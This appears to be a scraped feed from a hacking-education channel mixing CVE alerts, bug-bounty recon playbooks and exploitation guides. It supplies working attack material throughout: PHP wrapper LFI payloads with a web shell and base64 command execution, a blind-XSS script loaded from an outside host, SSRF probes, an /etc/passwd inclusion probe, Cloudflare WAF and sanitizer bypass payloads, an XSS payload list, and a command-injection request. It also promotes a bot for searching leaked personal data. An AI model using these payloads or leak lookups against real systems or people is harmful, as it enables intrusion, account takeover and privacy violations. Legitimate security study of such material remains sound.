CyberSec Playground | Learn ethical hacking ⚡️
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Welcome to CyberSec Playground! A community to learn, explore, and master penetration testing and bug bounty, ethical hacking, and all things cybersecurity.
Backup : https://t.me/fatherofbits
cybersecplayground.com
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🔍 AllInOneLeaksBOT – Search for Leaked Data Instantly!
🚨 Protect yourself from data breaches! Use this powerful OSINT tool to search for exposed info across the web. AllInOneLeaksBOT lets you find leaked data connected to:


📧 Email addresses
📱 Phone numbers
👤 Usernames
📘 Facebook profiles
🔑 Passwords
🌐 IP addresses
💬 Telegram IDs
⚠️ And more...

🛠 How To Use:
Start the bot 👉 @AllInOneLeaksBOT

🔎 Click on Search
Enter any target (email, IP, etc.)
⚡️Instantly view matched leaks and data breaches

💡 Ideal for cybersecurity researchers, OSINT analysts, or anyone concerned about personal data exposure.

⚠️ Stay informed. Stay safe.
🔗 For more OSINT tools & cyber tips, follow us: @cybersecplayground

👍 Like, share, and help your friends secure their data!
#osint #leaks #databreach #cybersecurity #AllInOneLeaksBOT #infosec #securitytools
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🔍 ParamSniffer - The Ultimate Web Parameter Extraction Tool

ParamSniffer is a powerful yet lightweight JavaScript tool designed to extract all possible parameters from a web page with a single console command. It's perfect for security researchers, bug bounty hunters, penetration testers, and web developers who need to quickly gather parameters for fuzzing, testing, or debugging.

🎯 Why ParamSniffer?
Faster than manual extraction
No install needed (runs in any browser)
Perfect for automation (works with ffuf, wfuzz, etc.)
Covers all parameter types (URL, cookies, forms, storage, etc.)

📌 GitHub Repository : https://github.com/cybersecplayground/Paramsniffer

⚠️ Stay informed. Stay safe.
🔗 For more OSINT tools & cyber tips, follow us: @cybersecplayground
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📢 Information Disclosure — How It Happens and How to Find It

🔍 What is Information Disclosure?
Information disclosure happens when sensitive data (personal info, credentials, business secrets, etc.) is accidentally or intentionally exposed to unauthorized people. In today’s digital world, the risks and impacts are bigger than ever — affecting privacy, businesses, and even national security.


⚡️ How to Find Information Disclosure Vulnerabilities:
🔸 Verbose Error Messages
Example: Revealing database names, usernames, or internal structure in error responses.

🔸Insecure URLs and Links
Example: Backup files (like customer_data.csv) accessible directly via URL.

🔸Misconfigured Web Servers
Example: Directory listing enabled without authentication, exposing critical files.

🔸Hidden Form Fields Abuse
Example: Changing hidden form values (student ➔ admin) to escalate privileges.

🔸Exposed API Keys or Credentials
Example: AWS keys or database credentials hardcoded in frontend JS files.

🛠 Tools & Techniques:
Fuzzing:
🔍 Tools like Sublist3r, TheHarvester, Knockpy, Amass for subdomains.
🔍Dirsearch,ffuf , Gobuster , Wfuzz for endpoint fuzzing.

JS Files Analysis:
▫️Find secrets in JavaScript files. Use BurpSuite Target → ▫️▫️▫️Engagement Tools → Find Scripts.
▫️Beautify messy JavaScript with PrettifyJS.

Manual Testing:

Inspect page source code for hidden hints.
Check HTTP headers for security flags like HttpOnly.
Use Chrome DevTools Network tab to inspect responses.

⚡️Search Engines (Dorking):
Example Google Dork:
filetype:pdf site:example.com confidential


🔥 Real-World Cases:
🔰GitHub Credential Leaks: Developers exposed API keys by accident.
🔰Fitness App Exposure: Revealed secret military base locations via heatmaps.
🔰Retail Database Leak: Unprotected customer databases found through basic search.

🛡 Always stay vigilant. Leaked data can be a goldmine for attackers if not properly secured!

🔔 Follow @cybersecplayground for daily cybersecurity tips, tricks, and bug bounty payloads!
💬 Like & Share to help others stay safe!
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🚨 Security Alert 🚨
CVE-2025-31324 (CVSS v3 Score: 10.0) — Critical SAP NetWeaver Zero-Day Vulnerability

🔴 A critical Zero-Day vulnerability has been discovered affecting SAP NetWeaver platforms.
Attackers are actively exploiting this flaw, leading to severe risks of remote code execution, privilege escalation, and full system compromise!

🔥 PoC / Exploit Details:
➡️ ReliaQuest Threat Spotlight

🔥 Nuclei Template:
➡️ Github

🔎 Hunter Dork:
product.name="SAP NetWeaver"
👉 Hunter Link

📰 More References:
BleepingComputer

⚠️Stay alert! Organizations using SAP must patch immediately and audit exposed instances to avoid major breaches.

Follow @cybersecplayground for the latest CVE alerts, exploits, and cybersecurity news! 🚀
🔁 Like and Share to spread awareness!

#SAP #hunterhow #infosec #infosecurity #OSINT #Vulnerability
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🚨 Information Disclosure: The Silent Killer in Cybersecurity 🚨

When sensitive data leaks — even unintentionally — attackers can gain a powerful advantage.
Most people underestimate information disclosure, but in today’s cybersecurity world, it’s a gateway to larger breaches.


🔎 What Is It?

When a system accidentally reveals confidential information, like system details, database structures, or user data — opening the door to attacks like privilege escalation, account takeover, or full breaches.


⚡️ Top Ways Information Disclosure Happens:

➤ Verbose Error Messages
Leaking database structures or sensitive backend info.

Error: SQLSTATE[42S22]: Unknown column 'user_email'...


Exposed API Endpoints
APIs unintentionally showing usernames, emails, and even hashed passwords.

{ "id":1, "username":"admin", "password":"$2y$10...", "email":"admin@example.com" }


Directory Listing Enabled
Hackers browsing public folders like /backup/ or /configs/ and stealing secrets.

IDOR (Insecure Direct Object References)
Changing a user ID in a URL to access someone else's data.

GET /profile?user_id=101


➤ Exposed Git & Backup Files
Public .git/config or .bak files revealing internal secrets and credentials.

🎯 How Attackers Exploit Leaks:

🟡 Google Dorking: Find sensitive exposed files via search engines.
🟡 Web Scraping: Extract confidential data from pages and APIs.
🟡 ExifTool: Pull hidden metadata from images and documents.
🟡Burp Suite / OWASP ZAP: Analyze HTTP traffic for information leaks.

🛡 How to Protect Your Systems:

Always use generic error messages in production.
Limit the amount of sensitive data returned in APIs.
Disable directory listings on your web servers.
Implement strict authentication and role-based access control.
Regularly audit your systems with security assessments and pentests.

🔥 Final Reminder:
"One small leak can flood your entire security system."
Stay alert. Secure everything. Audit often.

👉 Follow @cybersecplayground for more daily cybersecurity tips, tools, and threat updates!
💬 Like & Share to protect your community! 🚀

#infosec #cybersecurity #websecurity #osint #bugbounty #security
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🚨 Data Disclosed: Real-World Incidents of Information Leakage 🚨
Ever sent a private message to the wrong group chat? Now imagine that—but with your company’s database password or API keys. That’s Sensitive Information Disclosure in action: when confidential data slips into the wild, often by accident, and lands right in an attacker’s lap.


🔍 What Counts as “Sensitive” Data?
• User Credentials: Passwords, API tokens
• Infrastructure Details: Internal IPs, server configs
• Business Logic & Code: Proprietary algorithms, source files
• PII: Names, emails, SSNs, health records
• Financial Data: Credit cards, payment histories

⚠️ How Leaks Happen

1️⃣ Misconfigured Servers & Services

Directory listing, debug modes, open ports expose backups and config files.
Example:

http://example.com/uploads/ → credentials.csv, backup.zip.


2️⃣ Verbose Error Messages

Stack traces and SQL errors reveal DB schemas and tech stacks.

Example:
SQL Error: Unknown column 'id' in 'WHERE clause'
SELECT * FROM products WHERE id='999'


3️⃣ Public Source Repositories

Developers accidentally commit .env, config.json, .git/.

Example: Uber’s 2016 AWS creds leak on GitHub → 57M users compromised.

4️⃣ Exposed APIs

Over-verbose endpoints return full user records.

Example:
{ "id":123, "email":"john@example.com", "phone":"555-1234", ... }


5️⃣ Web Crawlers & Caching

Google or Wayback archives sensitive uploads—even after deletion.

Example: Panama Papers files indexed and cached online.

📰 Real-World Headlines
• Tesla (2018): AWS keys in Kubernetes console → cryptojacking 🔒
• NASA JPL (2018): Public Jenkins exposed deployment scripts 🚀
• T-Mobile (2021): API leak enabled SIM-swap fraud 📱

🛡 How to Lock It Down
Disable directory listing & debug modes
Use generic error messages (no stack traces)
Keep secrets out of repos (scan with GitLeaks, TruffleHog)
Limit API responses to only necessary fields
Block crawlers via robots.txt & Cache-Control headers
Perform regular audits & penetration tests

💡 Final Thought: One small leak can flood your entire security posture. Protect your data like gold!

📢 Follow @cybersecplayground for daily OSINT, bug bounty tips, and security insights!
👍 Like & 🔁 Share to help your network stay safe!

#infosec #cybersecurity #osint #dataleak #security #bugbounty #websecurity #cybersecplayground
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🔥 Mastering PHP Filters & Wrappers for LFI to RCE — FULL GUIDE

⚠️Most hackers stop at reading logs.
The elite use PHP wrappers to turn LFI into remote code execution.
This post is your all-in-one breakdown of how PHP wrappers work and how to exploit them like a pro. 👇

🎯 Why PHP Wrappers Matter in Bug Bounty
PHP provides built-in stream wrappers — special protocols to access I/O sources like files, memory, input/output streams, and even compressed/encrypted data.


As attackers, we can abuse these wrappers to:
Read raw PHP source (even when .php is auto-appended)
Bypass execution to leak secrets
Chain into full RCE
Abuse legacy or misconfigured server behavior

Commonly used wrappers:
▶️ php://filter
▶️ php://input
▶️ php://memory
▶️ data://
▶️ expect://
▶️ zip://
▶️ phar://

🧬 Using php://filter for Source Code Disclosure
This is the most useful wrapper for LFI.

Payload:
php://filter/read=convert.base64-encode/resource=index


Why it works:
read=convert.base64-encode prevents execution of the PHP code
Base64 output = raw, readable source

Example:
http://<IP>/index.php?file=php://filter/read=convert.base64-encode/resource=config

Decode result:
echo 'PD9waHAK...base64...' | base64 -d

Now you see source code, credentials, internal logic, API keys, etc.

🔧 Other Useful PHP Wrappers

1️⃣ php://input

Reads raw POST data.
Good for injecting code during file inclusions via POST.
<?php include('php://input'); ?>

Then POST:
POST /index.php
<?php system($_GET['cmd']); ?>

Shell access via cmd parameter.

2️⃣ expect:// (if available)

Allows direct execution of system commands.
include('expect://ls');

⚠️ Rare but deadly if enabled.

3️⃣ data://

Inline file input using base64 or plaintext.

Example:
include('data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==');

🟡 Executes: system('whoami')

4️⃣ zip://

Targets ZIP files as file systems.
Abuse via LFI to include malicious entries.

Structure:
zip://path/to/archive.zip#file_inside.txt

Use this with file upload + LFI combo.

5️⃣ phar://

Deserializes metadata → use with Object Injection + LFI.

Upload malicious PHAR:
phar://path/to/phar_file

If unserialize() is called on a phar wrapper, it can lead to RCE.


🔍 Fuzzing PHP Files Before Exploiting
ffuf -w /opt/seclists/.../directory-list.txt -u http://<IP>/FUZZ.php


Watch for:

200 → exists and renders
403/302 → access denied, but still includable via LFI


📁 Standard Inclusion vs. Filtered Inclusion

Including via:
?file=config

🟡 Executes file, no output if file has no HTML.

Using filter:
?file=php://filter/read=convert.base64-encode/resource=config

🟡 Returns base64 source code.


🧪 Decode & Analyze the Source Code
echo 'base64-encoded-content' | base64 -d


Look for:
$db_password, $admin_pass
API endpoints
Sensitive routes
Hardcoded JWT secrets or keys


💣 Advanced Chaining → From LFI to RCE

Read source via php://filter
Find upload paths or SSRF endpoints
Upload malicious phar:// file
Trigger inclusion → RCE

This chain has been used in real-world bounty reports.

🧱 Defense Tips for Developers:
- Disable allow_url_include, allow_url_fopen
- Avoid dynamic include($_GET['page'])
- Use strict whitelists
- Harden php.ini configs
- Monitor suspicious access patterns

📢 Follow @cybersecplayground for:

🧠 Daily hacking insights
🛠 Payloads & Tools
🐞 Real bug bounty techniques
⚔️ Hands-on exploitation walkthroughs

👍 Like this post if it helped
🔁 Share to boost your hacker circle

🔗 Github link : github.com/cybersecplayground...

#lfi #phpwrappers #bugbounty #phpfilters #rce #infosec #cybersecurity #webpentest #cybersecplayground
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🔥 ADVANCED BUG BOUNTY RECON PLAYBOOK (2025) 🔥

💰 Deep Recon = Real Money
Most hunters stop at surface-level scans. The real high-value bugs lie in what others overlook.
Here’s your Ultimate Recon Pipeline — battle-tested, fully loaded, and ready to execute:

🔍 1. Scope Review
Know what you're allowed to touch.
➡️ *.target.com
Avoid legal issues & save time by staying within bounds.

🌐 2. Subdomain Enumeration
Tools: bbot, subfinder, amass
bbot -d target.com  
subfinder -d target.com -o subfinder.txt
amass enum -d target.com -o amass.txt
cat *.txt | sort -u > subdomains.txt

🧠 Passive + Active = Deep Coverage

⚡️ 3. Alive Check
Tool: httpx
cat subdomains.txt | httpx -silent -o alive.txt

Only focus on live hosts = efficiency boost.

🕷 4. Crawl Alive Domains
Tool: katana
katana -list alive.txt -o endpoints.txt

Uncover hidden paths & juicy endpoints.

📸 5. Screenshot Everything
Tool: eyewitness
eyewitness --web -f alive.txt --threads 10 -d screenshots

Visually scan for promising targets.

🚨 6. Automated Vuln Scan
Tools: nuclei, nmap, nikto
cat alive.txt | nuclei -t templates/ -o nuclei.txt  
nmap -sVC -T4 -iL alive.txt -oN nmap.txt
nikto -h alive.txt -output nikto.txt

💡 Easy wins from common misconfigs & outdated software.

🔬 7. Tech Stack Fingerprinting
Tools: wappalyzer, builtwith, whatruns
Find tech-specific CVEs, weak plugins, and CDN leaks.

🍯 8. Low-Hanging Fruits
Tools: subzy, socialhunter
subzy run --targets alive.txt  
socialhunter -f alive.txt

⚠️ Subdomain Takeovers + Broken Links = easy $$$

🌐 9. URL Gathering & Param Discovery
Tools: waybackurls, gau, paramspider
cat alive.txt | waybackurls >> urls.txt  
cat alive.txt | gau >> urls.txt
paramspider -d target.com -o params.txt

📦 Old URLs = Unpatched Gold Mines

🧙 10. Google Dorking
site:target.com ext:sql  
site:target.com inurl:admin
site:target.com ext:bak

🧠 Hidden backups, exposed configs, and sensitive portals.

🗂 11. GitHub Recon
Search:
"target.com" in:code

🔑 Leaked API keys, secrets, and config files by devs.

🎯 Bonus: XSS / LFI / SQLi Param Hunt
Tools: gf, qsreplace, httpx

gf xss urls.txt | qsreplace '"><script>alert(1)</script>' | httpx -silent

Auto-test for high-impact bugs at scale.

🧠 Final Take:
✔️ End-to-End Automation
✔️ Focus on overlooked assets
✔️ Hit where it hurts (and pays)

Run this full recon cycle, and you'll outpace 90% of the bug bounty crowd.

📢 Follow @cybersecplayground for daily bug bounty tactics, recon tools, and deep OSINT drops.
💥 Like + Share if you want Part 2: Stealth Recon + Private OSINT Frameworks

#bugbounty #recon #osint #cybersecurity #infosec #websecurity #ethicalhacking #cybersecplayground
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🚨 NEW CVE ALERT — Vite.js Remote Exploit (CVE-2025-31125) 🚨

Vite.js — with over 72K GitHub stars — has been hit with a High Severity vulnerability.


🆔 CVE ID : CVE-2025-31125
📛 Severity : High
🛠 Impact : Remote Code Execution (RCE) via dev server misconfig
🔍 Affected : Vite.js (widely used frontend tool)

🎥 PoC Video :
▶️ Watch Exploit in Action

💥 GitHub PoC :
🔗 View PoC Repo

⚠️ Developers & bounty hunters patch your setups and scan targets using Vite.js!

Stay ahead. Stay patched.

More info : CyberSecPlayground Github

📢 Follow @cybersecplayground for daily CVE alerts, PoCs & bug bounty drops.

#Vitejs #CVE2025 #BugBounty #RCE #Infosec #CyberSecurity #Exploit
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🚨 PART 2 — ADVANCED BUG BOUNTY RECON PLAYBOOK 🚨

Stealth, Automation & Finding What Others Miss
Most hunters stop at surface recon.
But the real money? It’s buried deeper.
Welcome to the elite 1%.
This is how you go stealth, automate, and win.


1️⃣ JavaScript Recon — Extract Hidden Gems

JS files hide API endpoints, tokens, secrets.

🔧 Tools: subjs, LinkFinder, JSParser
subjs -i alive.txt -o jsfiles.txt  
cat jsfiles.txt | LinkFinder -i - -o cli > endpoints.txt

➡️ Hidden attack surface unlocked.

2️⃣ Historical Data Mining — Gold in the Past

Old URLs often lead to vulnerable legacy endpoints.

🔧 Tools: waybackurls, gau
cat alive.txt | waybackurls > wayback.txt  
cat alive.txt | gau > gau.txt
cat wayback.txt gau.txt | sort -u > historical_urls.txt

➡️ Time travel for bugs.

3️⃣ Parameter Discovery — Hunt the Inputs

Params = your entry point for XSS, SQLi, IDOR.

🔧 Tools: ParamSpider, Arjun
paramspider -d target.com -o params.txt  
arjun -i historical_urls.txt -o arjun_params.txt


4️⃣ Virtual Host Enumeration — Hidden Panels
Sometimes, real targets are behind unseen VHOSTs.

🔧 Tools: ffuf, vhostscan
ffuf -u http://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -fs 4242


5️⃣ Cloud Bucket Recon — Jackpot Mode
Open buckets = exposed sensitive data.

🔧 Tools: CloudBrute, S3Scanner
cloudbrute -d target.com -o buckets.txt


6️⃣ Recon Automation — Set & Forget
Real recon doesn’t sleep.

🔧 Tools: recon-pipeline, recon-ng
git clone https://github.com/epi052/recon-pipeline.git  
cd recon-pipeline
./recon-pipeline.py --target target.com


7️⃣ Stealth Recon — Avoid Getting Blocked
Don’t be loud. Be invisible.

🛡 Tips:
Rotate user-agents
Delay scans
Use proxychains + VPN/TOR


8️⃣ Continuous Monitoring — Be First to Strike

New IPs? Dev errors? You’ll know first.

🔧 Tools: Shodan, SecurityTrails
shodan search "hostname:target.com"


9️⃣ Advanced Google Dorking — Open Secrets
Google knows what they forgot to lock.

💡 Dorks:
site:target.com ext:sql  
site:target.com inurl:admin
site:target.com intitle:"index of"


🔟 GitHub Recon — Where Devs Slip Up

They push secrets. You collect bounty.

🔧 Tools: gitrob, GitHub Dorks
gitrob target.com


Combine all → Build the ultimate recon pipeline
Find what others miss → Land critical, $$$ bugs


🔥 If you liked this post — LIKE + SHARE

🔜 Part 3 drops soon:
EXTERNAL → INTERNAL: Exploiting Recon for RCE, Auth Bypass, and Priv-Esc

📢 Join @cybersecplayground for more elite recon and exploitation guides!

#bugbounty #infosec #recon #redteam #cybersecurity #osint #hacking #pentesting
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🚨 CRITICAL RCE in OpenCTI — CVE-2025-24977 🚨

A critical Remote Code Execution vulnerability has been discovered in the OpenCTI Cyber Threat Intelligence Platform, tracked as CVE-2025-24977.


💥 Impact: Exploiting this flaw could allow an attacker to execute arbitrary code on the system with root privileges — leading to full infrastructure compromise.

🧠 Query Examples:
HUNTER : product.name="OpenCTI"
FOFA : product="OpenCTI-Cyber-Threat-Intelligence-Platform"


🧵 Full Report:
📄 SecurityOnline Article
📢 GitHub Advisory
🔗 Hunter Search Link

💡 Mitigation:
🔸Patch to the latest version immediately and audit exposed instances!

🛡 Don't underestimate RCEs — especially in threat intelligence platforms that handle highly sensitive data.

🔔 Follow @cybersecplayground for more breaking CVE alerts and advanced recon guides.
💬 Like & Share if you want more real-world exposure queries and PoCs!

#OpenCTI #CVE2025 #hunterhow #infosec #OSINT #Vulnerability #CyberSecurity
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🚨 ADVANCED WEB RECON METHODOLOGY 🚨
⚡️Uncover the Unseen. Attack Surfaces Most Hunters Miss.⚡️

Want to beat 99% of bug bounty hunters?
Here’s a step-by-step modern recon workflow to automate, weaponize, and dominate.

🔍 1. Subdomain Enumeration

subfinder -d example.com -all -recursive -t 100 -silent | anew subdomains.txt  
puredns resolve subdomains.txt -r resolvers.txt | anew resolved_subdomains.txt


➤ Use puredns for fast, wildcard-safe resolution.

🌐 2. Live Host Detection

cat resolved_subdomains.txt | httpx -ports 80,443,8443,8080,8000,8888,3000,5000,10000 -json | tee live_hosts.json


➤ Detect titles, servers, tech stack — in JSON for parsing.

🗂 3. Passive + Active URL Collection

cat resolved_subdomains.txt | waybackurls | anew wayback.txt  
cat resolved_subdomains.txt | gau --threads 100 | anew gau.txt
cat resolved_subdomains.txt | katana -d 5 -ps -jc -fx | anew katana.txt
cat wayback.txt gau.txt katana.txt | sort -u | anew all_urls.txt


➤ Combine tools for MAX coverage.

🔐 4. Sensitive Files Discovery

cat all_urls.txt | grep -iE '\.(xls|sql|json|env|pdf|log|db|bak|zip)$' | anew sensitive_files.txt  


➤ Public leaks = fast wins.

📑 5. URL Sorting + Parameter Discovery


cat all_urls.txt | uro | anew deduped_urls.txt  
cat deduped_urls.txt | grep "=" | qsreplace 'FUZZ' | anew param_urls.txt


🧬 6. Hidden Parameters (Arjun)

arjun -i param_urls.txt -oT arjun_params.txt -t 50 --passive  


⚔️ 7. Blind XSS / Reflected XSS

cat param_urls.txt | qsreplace '<script src=https://xss.report/c/coffinxp></script>' | httpx -mc 200 -mr '<script src=https://xss.report/c/coffinxp></script>'  


📦 8. LFI / SSRF / Fuzzing with FFUF

ffuf -w lfi.txt -u https://site.com/index.php?page=FUZZ -mc 200  


➤ Or SSRF test:

cat urls.txt | grep '&' | qsreplace 'http://burpcollab.com' | httpx -mc 200  


🧱 9. Directory Bruteforce (Recursive)

ffuf -w dir.txt -u https://site.com/FUZZ -e .php,.bak,.old -recursion -recursion-depth 3  


🧠 10. JS Recon + Analysis

cat all_urls.txt | grep '\.js$' | httpx -mc 200 | anew jsfiles.txt  


🛡 11. Subdomain Takeover Check

subzy run --targets resolved_subdomains.txt  


🌐 12. CORS Misconfig

python3 corsy.py -i live_hosts.json -t 50  


🧪 13. Content-Type Filters for RCE Paths

cat gau.txt | grep -Eo '(\/[^\/]+)\.(php|jsp)$' | httpx -mc 200 -content-type  


🔎 14. Intelligence via Shodan / FOFA


ssl.cert.subject.CN="target.com" port:443  


📊 15. Full Port + Service Enumeration

naabu -list resolved_subdomains.txt -p - -c 100 -o ports.txt  
nmap -p- -A -iL ports.txt


⚙️ 16. Bonus: Smart XSS & LFI Detection

cat param_urls.txt | gf xss | qsreplace '<script>alert(1)</script>' | httpx -mr '<script>alert(1)</script>'  
cat param_urls.txt | gf lfi | qsreplace '../../../../etc/passwd' | httpx -mr 'root:x'


💥 Combine all this into a smart automation pipeline.
Find XSS, SSRF, LFI, Secrets, S3 Buckets, JS Leaks — at scale.
Most hackers stop at subdomains. You go further.

📢 Follow @cybersecplayground for daily recon & exploitation tips!

🔁 Like & Share to support!

#BugBounty #WebSecurity #Recon #CyberSecurity #RedTeam #OSINT #Infosec
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🔴 CRITICAL CVE ALERT 🔴

💥 Unauthenticated Privilege Escalation in OttoKit (SureTriggers) WordPress Plugin / CVE-2025-27007 (CVSS 9.8/10)

🧩 Vulnerability Overview:
CVE-2025-27007 affects the OttoKit (SureTriggers) WordPress plugin.
Due to flawed API logic, remote attackers can escalate privileges without authentication, potentially gaining full admin access. No user interaction required!


📉 Risk Level:
CVSS v3: 9.8 (Critical)
Exploitation: Remote / Unauthenticated
Impact: Admin takeover / Full site compromise

🎯 Affected Versions:
Vulnerable: <= v1.0.82
Patched: v1.0.83

🔎 PoC Repository:
📂 GitHub: absholi7ly/CVE-2025-27007-OttoKit-exploit
📹 Patchstack Advisory: Link

🌍 Search for Exposed Instances:
🛰 Netlas Link:
🔗 https://nt.ls/y4FXX

💥 This is a serious escalation vector — monitor your WordPress assets and patch immediately.

📢 Stay ahead with @cybersecplayground — your source for the latest exploits, tools, and bug bounty intelligence.
🔁 Like, share, and help others secure their assets.

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🔥 Cloudflare WAF Bypassed! ⚙️
Understanding JavaScript obfuscation can help you bypass even hardened filters!


🔐 Blocked Payload:
"-alert(0)-"


Bypassed Payload:
"-top['al\x65rt']('XD')-"

⚡️This simple use of obfuscation (al\x65rt for alert) tricked Cloudflare’s default protections and executed successfully!

🧠 Why it works:
🔸Obfuscating keywords can bypass signature-based WAFs.

top['alert']() accesses the same function via property notation.

\x65 = e → so al\x65rt = alert.

Keep this in your toolkit for bug bounty and testing WAF behavior.

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🔴 CVE-2025-2777SysAid On-Prem ≤ 23.3.40 - XXE Vulnerability
🧨 Critical Impact — CVSS 9.3
📅 Published: May 10, 2025

🚨 A severe unauthenticated XML External Entity (XXE) vulnerability has been discovered in SysAid On-Prem (≤ v23.3.40), specifically within its lshw hardware info parsing functionality.

🩸 Vulnerability Summary
Attackers can abuse this XXE flaw to:

- Read arbitrary files on the filesystem
- Extract sensitive data (e.g., configuration files)
- Potentially escalate privileges or gain admin access on the server

The vulnerability requires no authentication, making it a high-priority threat to exposed instances.

🛠 Affected Product
SysAid On-Prem versions ≤ 23.3.40

🔧 Patched Version
Upgrade to the latest release from:
🔗 SysAid Docs - Version Info

💥 Real-World Exploitation Example
⚡️ Proof-of-concept exploitation (from WatchTowr Labs):
⚡️ A crafted XML payload submitted to the lshw endpoint can leak /etc/passwd or internal credentials.
⚡️Used as a pivot to gain admin session access.

🔍 Read full technical write-up:
🔗 https://labs.watchtowr.com

🔎 Detection Tip
Search for exposed SysAid panels:

intitle:"SysAid" && "helpdesk"

Use network scanners to monitor outbound XML-related traffic or unusual DNS queries triggered by XXE payloads.

⚠️ Mitigation
🔸 Patch immediately
🔸 Restrict external access to the SysAid panel
🔸Monitor for unusual HTTP POSTs to /lshw or similar paths

🔐 Stay ahead with real-time CVE alerts and PoCs.
Join us at @cybersecplayground for more vulnerability posts, scanners, and defense tactics.

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🔍 XSS Bypass Payload
Sometimes WAFs and filters are tough—but not tougher than creativity

💥 Payload:
1'"><img/src/onerror​=.1|alert``>


Bypasses basic filters and some restrictive input validations
🧠 Uses:
🔸 Self-closing <img> tag
🔸Obfuscated /src
🔸Lightweight `.1|alert``` execution trick

💡 Tip: Always check how the app sanitizes HTML attributes and event handlers.

XSS Payload Collection (Bypass Edition):
"><script>alert`1`</script>
"><script>top </script>
"><iframe src="javascript:alert(1)">
<iframe src="data:text/html,<script>alert(1)</script>">
<ScRiPt>alert(1)</ScRiPt>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<svg onload=alert(1)>
<svg%09onload=alert(1)>
<svg onload=alert(1)>

🔗 added to xss payload list at GITHUB

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🚨 Command Injection Vulnerability Alert! (CVE-2024-10914) 🚨

🔍 Remote Command Execution via account_mgr.cgi

📝 Description:
A dangerous command injection vulnerability has been found in account_mgr.cgi, allowing attackers to execute arbitrary commands on vulnerable systems. This flaw occurs due to improper sanitization of the group parameter in user input.


💥 Proof of Concept (PoC):
GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=%27;ls;%27 HTTP/1.1

Replace ls with any malicious command to test exploitation.

📌 References:
🔗 Full PoC & Exploit (GitHub)
🔗 Nuclei Template for Detection

🛡 Mitigation Steps:
✔️ Input Validation: Sanitize user-supplied inputs (e.g., group parameter) using allowlists.
✔️ Use Secure Functions: Avoid direct shell command execution; use safer APIs.
✔️ Web Application Firewall (WAF): Deploy a WAF to block command injection attempts.
✔️ Patch Management: Check for vendor updates and apply patches immediately.

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Join @cybersecplayground for daily:
Vulnerability research
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🚨 HTML Sanitizer Bypass → XSS in Cloudflare-Protected Sites 🛡➡️💥

"HTML Sanitizer Bypass Cloudflare leads to XSS"

🛠 Payload Example:
<00 foo="<a%20href="javascript:alert('XSS-Bypass')">XSS-Click</00>--%20/


🧼 What is an HTML Sanitizer?

An HTML Sanitizer is a security filter that cleans user input by:
🔸 Removing or encoding potentially dangerous HTML tags (like <script>)
🔸 Stripping out JavaScript event handlers (like onerror, onclick)
🔸Preventing the execution of embedded scripts or unwanted links

The goal? Prevent XSS (Cross-Site Scripting) — a common attack where malicious code is injected into web pages.

🧠 How Attackers Bypass Sanitizers
Even the best sanitizers (like Cloudflare’s) can be tricked by:

1️⃣ Broken Tag Parsing
- Injecting malformed or incomplete HTML tags to confuse the sanitizer.

2️⃣ Double Encoding or Mixed Encodings
- Using %20 (space), &#x hex codes, or malformed entities to sneak past filters.

3️⃣ Exotic or Legacy Elements
- Tags like <xmp>, <noscript>, <svg>, <math>, etc., which behave differently across browsers.

4️⃣ Unescaped Quotes or Attributes
- Exploiting open attributes or injecting unexpected quotes to break out of the context.

🔥 This Payload Breakdown:
<00 foo="<a%20href="javascript:alert('XSS-Bypass')">XSS-Click</00>--%20/


🔸 00 is a fake/custom tag used to confuse the sanitizer (not a valid HTML tag).
🔸 %20 is a URL-encoded space to bypass simple filters.
🔸 The anchor <a href="javascript:..."> triggers an alert when clicked.
🔸 </00> doesn’t close anything valid, but some sanitizers misinterpret it, leaving the payload alive in the DOM.

🛡 Defense Tips:
🔸 Use a strict allowlist sanitizer like DOMPurify.
🔸Strip invalid or custom tags aggressively.
🔸Always escape output based on context (HTML, JS, URL, etc.).
🔸Never trust user input — sanitize AND validate.

📌 Stay Alert: Even with powerful platforms like Cloudflare, clever payloads can still sneak through.

🔐 Follow @cybersecplayground for more payloads, bypasses, and real-world XSS tricks!
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